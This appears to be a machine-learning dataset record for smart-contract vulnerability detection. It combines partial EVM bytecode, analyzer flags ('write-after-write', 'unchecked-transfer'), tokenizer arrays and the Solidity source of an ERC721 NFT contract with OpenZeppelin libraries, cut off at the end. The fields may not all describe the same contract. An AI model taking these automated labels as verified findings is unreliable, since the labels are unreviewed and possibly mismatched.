101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561231e57600080fd5b5af1151561232b57600080fd5b5050506040518051905050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561241f57600080fd5b6001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080600080600181111561248b57fe5b600a60019054906101000a900460ff1660018111156124a657fe5b1415156124b257600080fd5b6124bb84612901565b9150600f546124d58360095461253090919063ffffffff16565b1115612525577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260095483604051808381526020018281526020019250505060405180910390a160009250612529565b8192505b5050919050565b600080828401905083811015151561254457fe5b8091505092915050565b6000600a60009054906101000a900460ff1615151561256c57600080fd5b6125be83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253090919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265383600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282090919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000600181111561276157fe5b600a60019054906101000a900460ff16600181111561277c57fe5b14151561278857600080fd5b6127da34600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253090919063ffffffff16565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600082821115151561282e57fe5b818303905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561289757600080fd5b600a60009054906101000a900460ff161515156128b357600080fd5b6001600a60006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000806000804292506129138361141a565b9150600090506003821015612a1057600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156129b9576129af60646129a16082612993600b548a612a1c90919063ffffffff16565b612a1c90919063ffffffff16565b612a4f90919063ffffffff16565b9050809350612a14565b612a0d60646129ff600c858154811015156129d057fe5b9060005260206000209001546129f1600b548a612a1c90919063ffffffff16565b612a1c90919063ffffffff16565b612a4f90919063ffffffff16565b90505b8093505b505050919050565b60008082840290506000841480612a3d5750828482811515612a3a57fe5b04145b1515612a4557fe5b8091505092915050565b6000808284811515612a5d57fe5b0490508091505092915050565b6000809050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612aab57600080fd5b612b0a601260ff16600a0a6305f5e10002600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253090919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509190505600a165627a7a7230582088c8089c2b4058a4df77bf8b66f64aa2f016416b0547410262159bc8241f5e900029
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 3207, 2692, 17788, 2581, 2581, 2546, 16703, 2581, 2683, 2063, 20842, 2050, 2683, 2575, 9818, 2629, 20952, 2094, 17788, 2487, 2094, 2683, 2546, 28756, 2063, 2581, 2278, 2629, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,888
0x978E015B6249D4B0d06bf1958B8e783e7e9C7715
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title PiNFTTradable * PiNFTTradable - ERC721 contract that whitelists a trading address, and has minting functionality. */ contract PiNFTTradable is ERC721, Ownable { /// @dev Events of the contract event Minted( uint256 tokenId, address beneficiary, string tokenUri, address minter ); event UpdatePlatformFee( uint256 platformFee ); event UpdateFeeRecipient( address payable feeRecipient ); address auction; address marketplace; address bundleMarketplace; uint256 private _currentTokenId = 0; /// @notice Platform fee uint256 public platformFee; /// @notice Platform fee receipient address payable public feeReceipient; /// @notice Contract constructor constructor( string memory _name, string memory _symbol, address _auction, address _marketplace, address _bundleMarketplace, uint256 _platformFee, address payable _feeReceipient ) public ERC721(_name, _symbol) { auction = _auction; marketplace = _marketplace; bundleMarketplace = _bundleMarketplace; platformFee = _platformFee; feeReceipient = _feeReceipient; } /** @notice Method for updating platform fee @dev Only admin @param _platformFee uint256 the platform fee to set */ function updatePlatformFee(uint256 _platformFee) external onlyOwner { platformFee = _platformFee; emit UpdatePlatformFee(_platformFee); } /** @notice Method for updating platform fee address @dev Only admin @param _feeReceipient payable address the address to sends the funds to */ function updateFeeRecipient(address payable _feeReceipient) external onlyOwner { feeReceipient = _feeReceipient; emit UpdateFeeRecipient(_feeReceipient); } /** * @dev Mints a token to an address with a tokenURI. * @param _to address of the future owner of the token */ function mint(address _to, string calldata _tokenUri) external payable { require(msg.value >= platformFee, "Insufficient funds to mint."); uint256 newTokenId = _getNextTokenId(); _safeMint(_to, newTokenId); _setTokenURI(newTokenId, _tokenUri); _incrementTokenId(); // Send ETH fee to fee recipient (bool success,) = feeReceipient.call{value : msg.value}(""); require(success, "Transfer failed"); emit Minted(newTokenId, _to, _tokenUri, _msgSender()); } /** @notice Burns a DigitalaxGarmentNFT, releasing any composed 1155 tokens held by the token itself @dev Only the owner or an approved sender can call this method @param _tokenId the token ID to burn */ function burn(uint256 _tokenId) external { address operator = _msgSender(); require( ownerOf(_tokenId) == operator || isApproved(_tokenId, operator), "Only garment owner or approved" ); // Destroy token mappings _burn(_tokenId); } /** * @dev calculates the next token ID based on value of _currentTokenId * @return uint256 for the next token ID */ function _getNextTokenId() private view returns (uint256) { return _currentTokenId.add(1); } /** * @dev increments the value of _currentTokenId */ function _incrementTokenId() private { _currentTokenId++; } /** * @dev checks the given token ID is approved either for all or the single token ID */ function isApproved(uint256 _tokenId, address _operator) public view returns (bool) { return isApprovedForAll(ownerOf(_tokenId), _operator) || getApproved(_tokenId) == _operator; } /** * Override isApprovedForAll to whitelist Pi contracts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) override public view returns (bool) { // Whitelist Pi auction, marketplace, bundle marketplace contracts for easy trading. if ( auction == operator || marketplace == operator || bundleMarketplace == operator ) { return true; } return super.isApprovedForAll(owner, operator); } /** * Override _isApprovedOrOwner to whitelist Pi contracts to enable gas-less listings. */ function _isApprovedOrOwner(address spender, uint256 tokenId) override internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); if (isApprovedForAll(owner, spender)) return true; return super._isApprovedOrOwner(spender, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * 